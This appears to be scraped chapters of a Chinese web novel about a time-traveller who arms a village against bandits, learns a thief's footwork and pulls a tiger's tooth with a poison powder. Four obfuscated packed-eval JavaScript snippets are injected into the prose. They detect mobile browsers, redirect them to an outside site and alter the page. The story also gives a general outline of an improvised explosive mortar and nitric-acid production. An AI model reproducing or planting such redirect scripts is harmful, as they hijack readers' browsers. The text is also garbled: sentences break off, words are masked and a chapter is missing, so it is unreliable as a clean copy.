“妙,实在是妙哇!”
遇到难题,薛猛并没有像大家一样硬着头皮想办法去解决,而是直接“放弃”。
这种放弃,并非消极颓丧!
而是顺应自然规律,而非强行去改变不可能改变的事情!
此举看似无为,实则无不为!
四个“不”字,以退为进,其中蕴藏的大智慧,近乎于道!
徐守业捋着胡须,老眸微眯,深深看着薛猛。
越看越觉得,自己这个女婿,并非池中之物!
文武双全,骑射勇武,已经不足以形容薛猛的魅力了!
沙盘、钢刀、连**、水车、铁锅、**……
各种跨越时代的黑科技,信手拈来,层出不穷。
会领兵,有机谋,懂医术,还懂得进退之道!
纵观古时多少帝王将相,状元才子,也未见薛猛这等全才!
徐守业不由得想起了几日前,东方紫微帝星与日同辉的异常天象,看着薛猛的眼神,愈发深邃灼热。
内心一个大胆的念头,呼之欲出!
……
村民代表大会散会后。
各代表离开薛家,回到各自的岗位,召集手下的村民们开小会,传达了薛猛在大会上的讲话。
会议结束后,卧虎村和玉娘村村民,全都拧成了一股绳。
卧虎村也正式进入了战备状态。
村民们轮班值守寨墙、训练杀敌技巧、搞生产。
纺织坊明面上织布,背地里却在暗中缝制皮甲。
家家户户把粪水收集起来装进大木桶,不为浇菜种地,只等响马来袭,将粪水煮沸请响马喝金汁!
路边随便一个割猪草的大婶,脑子里想的,都不再是鸡毛蒜皮的琐事,而是怎么迅速杀死一个响马!
晚上两口子上了床,脱了衣服都得先过两招,温**一遍白天在巡猎队里学到的搏斗技巧。
就连卧虎村的小孩儿,也在林小鱼这个孩子王的鼓动下,暗中组建了卧虎村“娃娃军”。
娃娃军组建当天,林小鱼头上戴着鸡毛编的王冠,身披红色床单,站在土坡上,俯瞰着跪在空地上的“娃娃军”队员。
秦义这个半个小子,也赫然在列。
林小鱼双手平举:“众爱卿平身!”
“谢大鱼女王陛下!”
孩子们学着大人的模样,乱七八糟地谢恩道。
“秦义出列!”
林小鱼拿着一个竹棍,走下土坡,无比郑重地将竹棍交给秦义:“秦义,朕封你为娃娃军大将军!”
“这是朕赐你的打狗棍,若是遇见响马细作,你就用这个狠狠教训他们!”
秦义双手接过竹棍,憨憨一笑:“谢,谢鱼姨!”
“啪!”
林小鱼抽回竹棍,朝秦义头上敲打了一下:“大胆!朝堂之上,你该叫朕什么?”
“哦!大鱼女王陛下!”
秦义反应过来,连忙改了口。
林小鱼小小年纪,架子却不小,叉着腰对娃娃军所有人命令道:“我姐夫说了,咱们村子随时都有可能受到水匪、响马的袭扰!”
“从今天开始,每个人兜里随时都要揣上一把石灰。”
“若遇可疑之人,千万不要跟他客气!”
“谨遵女王陛下圣命!!”
薛猛全然不知,自己小姨子在背后打着他的旗号,暗中称王了!
他将张水抓来的一尾一斤多重的大鲫鱼,剖开鱼腹,去掉鱼肠。
而后将半包**纳入鱼腹,用草绳扎好,悬挂在阴凉通风处阴干。
大概七天之后,鱼鳞之上便会生出一层白霜!
有了这白霜,便可以给白虎拔牙了!
而在这期间,薛猛也没闲着,拉着夜含香,让她在后院教自己练功。
“薛郎,要学折梅手、含香步,十分辛苦!”
“我盗门还有别的功夫,可以让你飞檐走壁,如履平地,要不你学其他的吧!”
夜含香伤口虽未痊愈,但经过几日休养,已经能够下地走路。
面对夜含香的“好言相劝”,薛猛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313090|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却是不屑冷嗤,一眼看透她的小心思:“少跟我扯犊子!老子就要学折梅手和含香步!”
夜含香无奈一叹,旋即正色道:“行吧,既然你非要学,那我就教!”
“但我可有言在先,学习这两门盗门绝技,天赋和努力,缺一不可!”
“能不能学成,我可不敢打包票!”
夜含香的训练方法,倒也不难。
先找一个大缸,装满水,然后让薛猛走缸边。
刚开始打空手走。
薛猛本就是医武世家出身,这种初级训练,直接手拿把掐。
见薛猛一上来就会,夜含香一惊,随即反应过来,薛猛这是寡妇生孩子,有点底子!
“好,不错!那我可要给你上强度了!”
“来吧!”
薛猛自信满满。
夜含香的第二步练法,是将布袋里装满浸泡了猪血的铁砂,让薛猛背负在身上,继续走缸边。
薛猛一直都有坚持力量训练,浑身都是劲儿,这一步也难不倒他!
“不就是负重训练吗?这有何难?”
见薛猛背着铁砂,在缸边上如履平地。
夜含香朱唇微张,满心惊愕!
这家伙,莫非是练武奇才不成?
当年她为了练习这两步,可是花了足足两个月,薛猛居然两个钟头不到就掌握了?
夜含香擦了擦额角细汗,直接带薛猛进入第三步!
减少缸中水,增加铁砂配重,继续走缸边!
直到缸中水尽,铁砂重达十斤为止!
这一步,足以让十之七八的盗门弟子,知难而退!
夜含香不相信薛猛还能像前面两关那样,**关!
然而下一刻,她就傻眼了。
薛猛不仅迅速掌握了走空缸的技巧,居然还嫌配重太轻:“才十斤吗?再来二十斤也没问题呀!”
“你,到底是不是人啊!”
夜含香一咬牙,气得胸脯高低起伏。
自己当年花了半年时间才勉强掌握,视作毕生绝学的秘炼之法。
薛猛居然小半天就学会了!!
还一副不尽兴的样子!
太过分了!
就连站在角落旁观的寇芳,看见薛猛的惊人表现,此时也是满脸震惊,双目近乎呆滞。
恩公这武学天赋,也太逆天了吧?
基本功扎实得好像之前练过几十年一样!
可他明明才二十岁不到!
见寇芳和夜含香反应夸张,薛猛暗笑,还好前世的底子还在!
不然他还真不一定能这么快掌握夜含香的训练之法!
夜含香咬了咬红唇,羞恼道:“好!接下来第四步,你要是还能轻松做到,我夜含香尊你为盗门山爷!”
寇芳闻言吃惊不小,“山爷”是盗门里对本事最高强者的尊称,形容其人本领,如山似岳,让人叹为观止!
这在盗门里,是最高的赞誉!
哪怕是历代门主,也未必能获得“山爷”的称号。
可见这第四步,有多难掌握!
第127章 武器开发困难多
“废话少说,直接来吧!”
薛猛对这些虚名可没什么兴趣,他只想尽快学会含香步,多一项保命技巧!
主打好学这一块儿!
夜含香所谓的第四步,是将水缸换成一个大箩筐,训练方法则和先前相差无几。
箩筐比水缸重量更轻,走箩筐边缘,重心稍有失衡,就会侧翻摔倒!
薛猛踏上箩筐,身形轻轻晃了一晃。
但他迅速张开臂膀,很快就找准了重心!
这玩意儿,练的是对身体重心的控制力!
薛猛本以为这一步也没什么难的,但他刚想举步,却发现箩筐就险些倾倒。
连忙压低重心,两脚分开压住箩筐左右两边,方才不至于出洋相。
呼!
薛猛呼出一口浊气,额角不禁垂下一滴冷汗。
这第四步练法,确实没有他想象中那么简单!
“哼!”
见薛猛险些摔倒,夜含香勾唇冷笑,仿佛扳回了一局。
这一步,她当年练了足足三年方才掌握其中奥妙!
薛猛想要短时间内掌握,绝无可能!
“天黑了,不练了!明天再练吧!”
薛猛自知硬着头皮练下去,肯定会出洋相,索性跳下箩筐,转身离去!
“你……哪有你这样的!遇到困难,就不练了?”
望着薛猛毅然离去的背影,夜含香咬了咬牙,气得直跺脚。
本来她还想看薛猛摔下来出洋相,好好嘲笑他一番的!
没想到这家伙,见势不妙,直接开溜,愣是一点亏都不肯吃!
寇芳走了过来,无奈苦笑:“夜小姐,我家恩公向来谋定后动,进退有度,从来不愿意吃一丁点亏!你想看他出洋相,估计没机会了!”
“这家伙,比狐狸还狡猾!”
夜含香冷哼一声,心中懊恼。
不过,一想起薛猛今天练功的表现,夜含香却又释怀了,由衷赞叹了一句:“不得不承认,这家伙的天赋远超于我!”
“竟然只用了一天,就练到了第四步!”
“我看不出半个月,他应该就能掌握第五步!”
“盗门绝技传给他,也不算辱没!”
想通之后,夜含香决定不再藏私。
若薛猛真的掌握了第五步,她就把含香步真正的诀窍,传授给薛猛!
却说薛猛回到书房,铺开图纸,重新开始倒腾秘密武器“飞雷炮”。
学功夫,是为了提升个人实力!
但两军交战,个人能力再强也不顶用,还得靠黑科技!
薛猛先前发明的“喷火雷”,威力有限,且使用之时需要人力投掷,相当于低配版“破片**”。
打埋伏的时候,用上一用,可见奇效。
但若是遇上大规模的骑兵军团,正面交锋之时,喷火雷恐怕就很难派上大用场了!
所以薛猛才决定,开发“飞雷炮”!
飞雷炮是前世先烈打小鬼子的时候,因火力不足,而发明的一种土制**投射武器。
发明者,是当时晋冀鲁豫野战军中的一位工兵连连长。
飞雷炮在攻打陕县作战中首次亮相,对着陕县城墙一阵猛轰,炸开几个大口子,帮助部队只用三四个小时就拿下了陕县。
淮海战役时,我军更是以180余门飞雷炮进行齐射,仅用半小时就摧毁了敌军苦心经营的工事群。
用现代人的眼光来看,飞雷炮的结构,其实并不算太过复杂。
用空汽油桶,将顶盖锯掉,呈四十五度角放置作为炮筒。
在桶的最底部装填烈性**作为**。
再把延期****,放进桶中。
点燃**后,**的推射力,就可以将**,抛向敌方!
一门飞雷炮,可以将二十公斤重的**,抛射至两百米甚至三百米开外!
**产生的威力,可炸毁距离**点方圆十余米的地堡、碉楼等土木工事!
若是把这玩意儿造个三五十门出来,摆开炮阵,一轮齐射!
别说黑风岭的响马土匪了,就是北莽铁骑来了,都得跪下喊爸爸!
薛猛看着图纸,幻想着飞雷炮轰杀响马的场面,不由得咧嘴一笑!
但随即,想到了一些难以解决的难题,他又叹了口气:“哎!”
“理想很丰满,现实很骨感!”
“在前世,飞雷炮算是比较原始落后的土制武器!”
“但放在大虞,这东西可就太先进了!”
“看似结构简单,但制造起来可就不简单了!”
“烈性**、炮筒、**……这些东西,在前世不算什么,但想在当前这个时代制造出来,难如登天!”
薛猛提笔在图纸上标注了几大技术难点。
首先是飞雷炮所需的烈性**。
薛猛当前掌握的**,只有用硝石、硫磺、木炭配制的**!
**,爆速低,能量密度也低,**产生的动能不足,无法发挥出飞雷炮的真正威力!
先前发明的“喷火雷”,就是因为光靠**威力不足,才在里面添加了“助燃剂”石松孢子粉。
石松孢子粉油性大,燃烧时会产生强烈闪光,喷出火焰,所以才叫做“喷火雷”!
要造飞雷炮,这种粗糙的**,肯定是不行的。
薛猛看着图纸,陷入沉思:“想搞出高爆速的烈性**,就少不了硝酸!”
硝酸和硝石不一样。
硝石可以从旱厕墙根刮取,或者采挖硝石矿获取,经过物理溶解、过滤、提纯,就可以用于制作**。
但硝酸,是近代化学工业的合成产物!
光靠简单的物理提纯,是没办法得到硝酸的,所以这是第一大难点!
第二大难点,则是**的延期**。
有了延期**,就可以延迟起爆,确保**击中敌人后再**,避免刚抛出就炸伤自己人。
延期**的核心是一种叫做“**”的敏感**,这种东西,受到撞击后就会瞬间引爆整个**!
巧的是,合成**,也需要用到硝酸!
第三大难点,是飞雷炮的炮筒!
前世先烈们,在艰苦条件中,可以用汽油桶改造炮筒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313091|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!
汽油桶结构强度够,并且是规则的圆柱形,完全可以满足炮筒需求!
但关键是,在大虞,连汽油桶都没有啊!
若用铸铁制作炮筒,对工艺要求不是一般的高!
薛猛对着这三大难题,苦思冥想。
第三个难题,可以让铁艺坊改良铸铁技术,逐步解决!
而前面两个难题,除非成功合成出硝酸,否则根本没办法解决!
薛猛仔细回想了一下高中体育老师教的化学知识。
脑中顿时灵光一闪!
“有了!”
“可以用硝石硫酸法,来制备硝酸!”
“将硝石(硝酸钾)和浓硫酸混合加热,利用浓硫酸的高沸点难挥发的特性,将硝酸钾中的硝酸根置换为硝酸蒸汽,再冷凝收集,就可以得到硝酸了!”
可这样一来,就必须先制备硫酸!
制备硫酸的原料,需要用到绿矾,这东西一般只在沼泽地附近才有,可不好找啊!
而且硝石硫酸法,需要用到玻璃曲颈甑!
寻找绿矾、制造玻璃、制备硫酸……这得花多少时间啊?!
没高兴一会儿,薛猛便又眉头轻锁。
想在当前这个毫无重工业基础的农业社会,合成硝酸,简直困难重重啊!
哪怕所有步骤一切顺利,没个三年五载,估计也造不出一门飞雷炮,更别提量产了!
而黑风岭响马,最迟半个月后就会打到洪雅县来!
等自己造好飞雷炮,黄花菜都凉了……
经过再三考虑,薛猛最终还是决定忍痛搁置了飞雷炮的研发。
“果然!想要从冷兵器时代,一下跨越到**时代,还是不现实!”
薛猛感觉自己步子迈大了,容易扯到蛋。
他需要冷静想想,有没有什么武器,可以平替飞雷炮!
又能在半个月内制造出来,足以抵挡匪兵!
“快来追我呀!嘿嘿……追不着!”
薛猛正苦思冥想之际,忽听得院子里传来少女的嬉笑声。
起身推开窗,只见月色下,庭院花丛中,林小鱼正和秦义追逐玩闹。
薛猛嘴角轻勾,这小丫头虽然调皮了点,但很多时候,还是很可爱的!
但,若是抵挡不住匪兵,这一份童真可爱,不久后就将会被战火硝烟席卷!
脑海中闪过家破人亡,战火滔天的凄惨画面,薛猛暗自握紧了铁拳。
起初,他本来只想打猎赚钱,利用现代知识做些生意,当个土财主,养三五个老婆,生一堆娃,偏安一隅。
奈何树欲静而风不止!
身处乱世,没有我不犯人人不犯我的道理可讲,只有拳头够大,才能站得住脚!
真理只在大炮射程之中,尊严只在剑锋之上!
薛猛虎目微眯,心中暗下决心,一定要守护住眼前这片家园!
啪!
刚关上窗坐下,准备另想他策,忽有一对尖翘之物扑到背上。
紧接着,一股充满少女芬芳的温香热气自颈后袭来。
“薛大哥,今晚来我房里睡吧?”
第128章 脱骨散
感受到颈后少女灼热的呼吸,薛猛虎躯一震。
不用回头也知道,是自己的小老婆徐瑾儿!
先前因为家里房间少,薛猛、林雅娴、徐瑾儿三人只能同睡一张床。
现如今薛宅房间充足,徐瑾儿和林雅娴都有了各自单独的卧房。
但如此一来,每天晚上,薛猛都将要面临一个难题!
到底去谁的房里睡觉?
薛猛反握住徐瑾儿的雪白嫩手,轻轻一拽,将柔弱无骨的少女揽进怀里。
吧唧一口,亲在小老婆粉润小脸上:“小老婆乖,你先回去睡吧,我还有些事情要忙!”
徐瑾儿坐在薛猛大腿上,身子紧紧贴在薛猛怀里,像小奶猫一样撒娇:“嗯不嘛!你都好久没跟人家谈心了。”
薛猛搂住徐瑾儿的小腰,伸手刮了刮徐瑾儿的小琼鼻,笑道:“瑾儿乖!等薛大哥这几天忙完了,再好好补偿你!好啦,快回去睡吧!”
“可是瑾儿好想跟薛大哥谈心。”
徐瑾儿在薛猛怀里扭捏了一会儿,直接钻进了书桌底下。
翌日清晨。
书房门从里推开,薛猛伸着懒腰走了出来。
来到庭院中,深吸了一口新鲜空气,顿觉神清气爽,无比畅快!
男人就是这样,压力再大,来一火就好了!
接下来一连数日,薛猛过上了高度自律的生活。
白天跟着夜含香**练含香步的基本功,晚上倒腾能够平替飞雷炮的新武器。
而林雅娴和徐瑾儿两姐妹,不知道是不是私底下达成了默契,每天晚上,都会轮流到书房陪薛猛大搞炮兵演习!
两个老婆从来没有撞过车,红过脸,家庭氛围倒也和睦。
除了练功、搞科技、开炮之外,薛猛偶尔还会到制药铺,和宋婉儿交流一些用药心德。
顺便给她传授一些现代医学知识,纠正一些错误和偏差。
隔山差五还会抽空进山,看望一下白虎。
用特制的钢圈卡住虎口,就不用担心白虎突然闭嘴,咬断自己的手了!
薛猛仔细检查了白虎的口腔,或许是之前的草药起了作用,坏牙的情况还算稳定,没有发炎化脓。
临走前,薛猛又给它采了些消炎止痛的草药。
白虎牙疼缓解,对薛猛愈发信任。
逐日相处下来,从一开始躲在岩洞里不肯出来,到后来可以让薛猛摸头、摸尾巴。
甚至,躺在地上,四仰八叉地让薛猛揉肚子!
都说老虎的屁股摸不得,实际上猫科动物的肚子,才是真正的禁区!
若没有足够的信任,绝不可能将肚子露在外面,更遑论让人类随便rua!
七天后,薛猛算着日子,给白虎拔牙的药应该成了!
来到制药铺,从通风处取下阴干了足足七日的鲫鱼,鲫鱼鳞片上果然已经结满了一层细腻白霜。
**的主要成分是**。
在阴干过程中,鱼肉水分逐渐蒸发,**就会从鲫鱼体内缓慢渗出,结晶后附着在鱼鳞表面,形成白色的霜状物。
“薛公子,这些白霜,真能用来拔牙?”
看着薛猛用竹刀小心翼翼刮取白霜,宋婉儿的求知欲瞬间被勾了起来。
薛猛将白霜刮落在油纸上,而后折叠油纸,把白霜缓缓倒入瓷瓶内封存。
“当然可以了!”
“此物名曰‘脱骨散’!”
“每次取一鳞大小的白霜,施于坏牙之上,便可以渗透腐蚀牙齿周围的牙龈,使牙齿失去组织支撑而松动脱落,从而达到无痛拔牙的效果!”
“不过,此物有毒,不可多用!”
说着,薛猛将瓷瓶揣进怀里,顺手把鲫鱼丢进火塘里烧了。
随即带上钢圈,背着药箱,转身出门,准备进山给白虎拔牙!
无痛拔牙?
宋婉儿听得出神,对薛猛的话半信半疑。
这脱骨散,真有这么神奇?
好奇心促使着宋婉儿,背着随身药袋,跟了出去。
“薛公子,我想亲眼看看,你是怎么给白虎拔牙的!”
给老虎拔牙,这可是一桩举世罕见的奇闻!
宋婉儿虽然也懂医术,但她还真不知道该怎么给老虎拔牙,现在有一个现成的观摩机会,她岂能错过?
薛猛快步往山里走,没有同意,也没有拒绝。
算是默认宋婉儿跟自己进山。
“藿香正气散做得怎么样了?”
路上,薛猛随口问了些制药铺的事情。
宋婉儿快走两步,勉强跟上薛猛的步子,回道:“之前炮制的半夏快用完了,需要花时间重新发酵,大概还要几天才行。”
生半夏有毒,入药前需先与面粉、姜汁混合,发酵成“曲”,方可降低毒性,增强药效。
薛猛闻言点头:“嗯!尽快吧!我大舅哥他们这几天开窑烧砖,活儿重,不少人都积了暑湿,恶心呕吐,食欲不振!”
“这藿香正气散,是解暑湿的良药!”
宋婉儿闻言,认真记下薛猛的话。
跟着薛猛,总是能学到新东西!
走了大概半个钟头,白虎藏身的岩洞近在眼前了,但还没等薛猛走过去,一股血腥味便扑鼻而来。
嗯?
薛猛眉头一皱,连忙驻足,抬手示意宋婉儿先别往前走了。
宋婉儿怔了怔,也闻到了空气里的血腥味,抬眸看去,只见前方不远处的岩洞口,有半匹白马躺在血泊之中。
白马的肚腹已经被掏空,连带着半个身子都被啃食得只剩下白生生的骨架。
场面看上去极其血腥。
“吁!”
薛猛定了定神,手指含在嘴边打了个唿哨。
“吼!!”
岩洞里随之响起一声摄人心魄的低沉虎啸,似在回应薛猛。
紧跟着,一头长达三米,威风凛凛的白虎,迈着威严的步伐,缓缓踏出岩洞。
白虎嘴边的胡须还残留着血迹。
雪白肚皮拖地,鼓鼓囊囊。
显然刚刚饱餐了一顿!
看见这么一只大虫朝自己走了过来,宋婉儿瞳孔一缩,吓得直哆嗦。
然而薛猛见白虎平安无事,却是咧嘴一笑。
直接迈步朝白虎走了过去,伸手拍了拍白虎的脑袋:“你小子伙食不错啊!牙还没好,又开始胡吃海塞了?”
白虎温顺得好像一只大猫,用额头蹭着薛猛的手掌。
宋婉儿咽了口唾沫,强压下心头恐惧,硬着头皮跟在薛猛身后。
“嗷~~”
白虎低下头,蹭了蹭薛猛的裤腿,弄他一裤腿的马血。
见薛猛和白虎如此亲近,宋婉儿眼底满是惊愕。
这时白虎注意到薛猛身后跟来一个陌生女人,抬起湛蓝虎眸,张开血盆大口,冲宋婉儿发出了咆哮!
那发自胸腔的雄浑虎啸声,让林中百兽闻之四处逃窜。
“啊!!!”
宋婉儿更是吓得魂飞魄散,撒腿就跑,但两条腿已经僵了,噗通一下,自己被自己绊倒在地。
“别怕,它不**!”
薛猛拍了拍白虎的脸,知道这小子是故意使坏,吓唬宋婉儿!
宋婉儿瘫坐在地上,瑟瑟发抖。
不管薛猛说什么,她都已经听不进去了!
只能远远看着薛猛给白虎拔牙。
薛猛将钢圈卡在虎口里,用竹片从瓷瓶里刮起一片鱼鳞大小的“脱骨散”,从钢圈中间探入虎口,轻轻将药点在白虎的坏牙上。
待得脱骨散渗入牙床,消失不见。
薛猛从药箱里取出一个钳子,探入虎口,轻轻一夹,便把白虎的坏牙轻松剥落取了下来。
整个拔牙过程,不费吹灰之力,眨眼功夫就结束了!
白虎连哼都没哼一声,显然没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313092|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感受到任何疼痛!
“薛公子,这就……结束了?”
“对啊,结束了!就这么简单!”薛猛随意地摊摊手。
宋婉儿看得目瞪口呆,震惊不已。
这脱骨散,真是神了!
牙疼不是病,疼起来真要命!
薛猛这脱骨散,简直就是拔牙神药,若是批量生产,不知可以造福多少牙病患者!
薛猛收拾好东西,将取下的虎牙递给宋婉儿:“这个送你了,虎牙可以辟邪,拿回去做成项链戴脖子上,保你平安!”
“谢谢薛公子!”
宋婉儿不知人心险恶,信以为真,脸上满是感激。
然而就在她伸手接过虎牙的瞬间,一股浓烈恶臭扑鼻而来,直往鼻腔里灌。
“悦!!”
宋婉儿笑容一僵,弯腰干呕起来,差点没把隔夜饭吐出来。
这虎牙……滂臭!!
见宋婉儿被虎牙熏得呕吐,薛猛眼泪都快笑出来了。
这傻姑娘!
还真敢要!
“行啦薛小白,坏牙也拔了!”
“你又可以嚣张了!”
“明天我再来看你!”
薛小白,是薛猛给白虎取的名字。
白虎似乎也挺喜欢这个名字的,每次薛猛一叫这个名字,它就四仰八叉躺地上撒娇。
薛猛撸了撸白虎的肚皮,收拾东西,正准备下山,却被不知道什么东西的反光,晃了下眼睛。
定睛一看,只见躺在血泊里的白马,脖子上反着光,仔细看挂着一个铃铛。
铃铛上刻着一个字。
乐!
恰在这时,一阵马蹄声从不远处林间小道传来。
“偷马的白毛大虫就在前面,给我放箭,射死它!”一名男子语气凶狠大喝道。
紧随其后,一个女子如银铃般悦耳的声音响起:“表哥且慢!前面好像有人,先别放箭!”
听到前方树林传来这动静,薛猛心头一惊,扭头瞥了眼躺在血泊中的白马,又看了看嘴角残留血迹的白虎。
“坏了!”
“敢情薛小白这家伙,把人家马给偷吃了?”
不多时,林中显现出二三十名身骑白马的骑士,如羽之疾,飞驰而来。
人人手拿长矛,张弓搭箭,迅速将薛猛两人一虎团团围住。
“你们是什么人?”
“快些避开!”
“当心这白毛大虫吃了你们!”
一群骑士中为首之人,约莫二十三四岁,方脸阔口,面色紫红,眉如墨刀,身上穿着兽皮缝制的皮甲。
其人身形孔武,胯下一匹龙驹白马,**色如雪,极其雄壮。
“吼!!!”
白虎感受到那人威胁,虎眸精芒闪烁,张开血盆大口,发出摄人心魄的咆哮!
“闭嘴!吃了人家的马,你还有理了?”
薛猛一巴掌拍在白虎脑袋上,正欲发怒的白虎,顿时委屈巴巴低下了脑袋。
见薛猛居然能够镇住白虎。
一群白马骑士皆是满脸惊异。
“此人和这大虫肯定是一伙的!”
方脸年轻人一挺手中长矛,直指薛猛眉心,警惕大喝!
“给我放箭,杀了他们!”
“表哥,住手!”
就在这千钧一发之际,先前听见的女声再次响起。
方脸年轻人闻言目光一怔,众白马骑士也都停下手中动作。
薛猛循声侧目,只见林中升起一溜黄尘,缓缓步出一匹白马,马背上坐着一名少女。
那少女身穿兽皮衣,戴着鲜花藤蔓编制的头环,如云秀发宛如瀑布撒落在肩头。
肌肤白腻,眉眼如画,气质宛若空谷幽兰。
胯下白马系着彩绳铃铛,走动起来,铃铛叮咚作响。
一人一马,缓缓来到薛猛面前,宛若森林中的仙子。
“是你!”
薛猛一下认出了这名少女。
第130章 白马义从
遭到对方拒绝,薛猛并没有灰心:“我看你们这里似乎很缺布料,我可以用蜀锦,换你们的白马!”
蜀锦?
萧南乐闻言,眸光一亮,显然有些动心。
两百年前,他们的祖先被大虞军队逼得走投无路,逃入凶险神秘的**凼。
本以为必死无疑,没曾想因祸得福,意外发现了这片隐秘的福地——“贡嘎草原”!
因为**凼凶名在外,又有着迷雾竹林作为天然屏障,两百年来,从来没有山外人进到过这片草原,发现过他们!
薛猛,是头一个进到这里来的山外人!
贡嘎草原里什么都不缺,唯独缺少纺织布料的桑麻。
所以无论是他们的衣物,还是住宅,凡是需要用到布料的地方,都是用兽皮代替!
看着薛猛身上漂亮的蜀锦料子,萧南乐又怎会不动心?
薛猛嘴角轻勾,本以为萧南乐会答应这笔交易。
不曾想,对方却斩钉截铁回了他两个字:“休想!”
“为什么?”
薛猛脸上笑容一僵,萧南乐的反应出乎了他的意料。
从对方的眼神变化来看,她的确动心了!
但为什么却又拒绝了这笔交易?
阳光下,河面上金灿灿的光晕,映照着萧南乐唯美的侧脸,脸上的细小绒毛仿佛都闪着光:“以你的聪明头脑,应该不难猜出我的祖先是谁。”
薛猛一怔点头。
在这**凼里苟了两百年都不敢出去,除了前朝窝囊皇帝梁哀帝的后人,还能有谁?
萧南乐眸子一闪,看向薛猛:“既然你知道我的祖先是谁。”
“就应该听说过,萧家军八百白马义从,义护哀帝杀出重围的故事!”
薛猛眉头轻锁,仔细回想了一下。
某次进城,是听茶馆里的说书先生说起过这么一段故事。
说是前朝皇帝梁哀帝,被大虞军队杀得屁滚尿流,丢了益州五郡,只剩下洪雅县这最后一座孤城,被大虞五万大军包围得水泄不通!
眼看城中粮草殆尽,城门将被攻破。
大虞太宗素来喜好**。
放出话来,只要梁哀帝献出灵妃投降,便饶他一条命。
梁哀帝倒是举双脚赞成。
但当时的梁朝大司马萧彻,是灵妃的亲哥哥,岂能容许妹妹被仇敌玷污?
于是,萧彻从守城的八千萧家白马军中,选出八百精锐死士。
亲自带队,护送(**)梁哀帝、灵妃和群臣,杀出一条血路,逃出了洪雅县城,最终闯入了**凼!
这八百白马军精锐,史称“白马义从”!
要说这八百白马义从,确实流弊!
硬生生把大虞的军队撕开一道口子!
可惜摊上了个窝囊废梁哀帝!
如若不然,梁朝也不会被大虞覆灭!
萧南乐目露回忆道:“八百白马义从,护送哀帝进入**凼后,无论是人还是龙驹马,都已经身负重伤!”
“最后活下来的,只有两百骑不到!”
“所幸,他们在这片贡嘎草原里,发现了本土野马,经过多年繁育配种,勉强保住了龙驹的一丝血脉!”
听完萧南乐这番话,薛猛终于明白她为什么拒绝交易白马了!
就像先前萧复梁说的那样,这些龙驹马,对他们这些梁朝后人而言,可不仅仅是一匹马那么简单!
而是他们情同手足,相依为命的亲密战友和家人!
也难怪薛小白偷吃了一匹龙驹,萧复梁发那么大火!
“我很抱歉,我家小白吃的那匹马,我一定会赔偿给你们的!”
薛猛郑重道。
萧南乐摇头:“我们这次冒险出山,是为了替族母求医问药。不曾想,你养的那只白虎,偷吃了我们一匹马!”
“我表哥爱马如命,他不会接受任何赔偿!”
“除非,你能治好族母的病!”
“族母是我们这里最受人尊敬的长者,我们这里不少人,包括我舅舅,都是喝她的奶水长大的!”
“如果你能治好族母的病,我想,我表哥也不会再为难你!”
“但若是你没治好……那么……”
说到这里,萧南乐没有再继续说下去。
但话里的意思,不需明言,昭然若揭!
宋婉儿闻言,心头一沉,扭头看向薛猛,眼底充斥紧张之色。
薛猛却是面不改色,淡定自若地一笑:“放心吧!只要不是癌症晚期,我都可以试试!”
“癌症?”
萧南乐怔了怔,虽没听懂薛猛这话什么意思。
但见薛猛神情如此自信,不由得无奈一叹:“但愿你的本事,配得上你的口气!否则,我就算有心,也保不住你!”
薛猛打趣道:“我听那边洗兽皮的大婶说,你不是长公主吗?说话这么没分量?”
“你的耳朵倒是灵,隔这么远都能听见她们说什么?”
萧南乐也不恼,淡声回道:“**公主,命贱如草。”
“再者说,我又不是真正的公主,我的曾曾曾祖母,才是真正的梁朝公主。”
“我虽继承了一个虚名,但实际上只不过是一个穿着兽皮,住在深山的野蛮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313094|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人罢了。”
薛猛笑了:“你可不像野蛮人,倒像是深山隐修的仙姑。”
萧南乐轻哼一声,径直走开:“油嘴滑舌,不理你了。”
宋婉儿眨了眨眼睛,她算是看出来了,合着薛公子和这位萧姑娘,之前就认识呀?
“大夫在哪儿?谁是大夫?!”
